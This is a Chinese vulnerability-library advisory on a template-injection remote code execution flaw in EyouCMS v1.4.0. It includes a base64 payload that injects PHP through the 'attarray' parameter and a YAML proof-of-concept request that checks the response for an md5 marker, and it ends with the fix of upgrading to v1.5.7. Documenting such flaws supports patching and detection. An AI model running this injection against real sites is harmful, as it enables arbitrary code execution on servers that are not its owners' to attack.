EyouCMS-任意代码执行-skad-漏洞文库小世界-安全文库-NGC660安全实验室

EyouCMS-任意代码执行-skad

0x001 EyouCMS描述

EyouCms是基于TP5.0框架为核心开发的免费+开源的企业内容管理系统、专注企业建站用户需求<br />提供海量各行业模板、降低中小企业网站建设、网络营销成本、致力于打造用户舒适的建站体验。

0x002 漏洞版本

EyouCMS v1.4.0
源码下载地址 https://update.eyoucms.com/source/EyouCMS-V1.3.9-UTF8-SP1.zip

0x003 漏洞代码

漏洞文件地址:EyouCMS\application\api\controller\Ajax.php 1647998777102-7a4a47e7-be5c-4d0b-8627-aee044bf6a44

0x004 漏洞分析

首先我们很明显的看到这段代码中存在一个标签的拼接操作,随后对拼接后的语句进行模板渲染,

1647999077261-ab553574-fd9e-4686-823c-134064265bf1

然后程序先POST获取”attarray”这个属性值没然后对获取的值进行base64解密然后与”{eyou:memberlist” 进行拼接,最终拼接成类似这种形式:
{eyou:memberlist $key='$val' js='on'}
然后通过“}”来闭合前面的标签,然后达到任意代码执行的问题。
因为解析的是json内容我们只需要输入类似{"}":"{php}echo md5('111');{\/php}"} base64编码后的内容就可以任意代码执行了。
将上边代码base64加密后
eyJ9Ijoie3BocH1lY2hvIG1kNSgnMTExJyk7e1wvcGhwfSJ9IA==

0x005 POC编写

params: []
name: poc_eyoucms_任意代码执行
set: {}
rules:
– method: POST
path: /?m=api&c=Ajax&a=get_tag_memberlist
headers:
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
body: ‘attarray=eyJ9Ijoie3BocH1lY2hvIG1kNSgnMTExJyk7e1wvcGhwfSJ9IA== ‘
search: “”
followredirects: false
expression: response.status == 200 && response.body.bcontains(b”698d51a19d8a121ce581499d7b701668”) groups: {}
detail:
author: “”
links: []
description: “”
version: “”

0x006 解决方案

升级至安全版本 EyouCMS v1.5.7<br />    下载地址:[https://update.eyoucms.com/source/EyouCMS-V1.5.7-UTF8-SP1.zip](https://update.eyoucms.com/source/EyouCMS-V1.5.7-UTF8-SP1.zip)
请登录后发表评论

    请登录后查看回复内容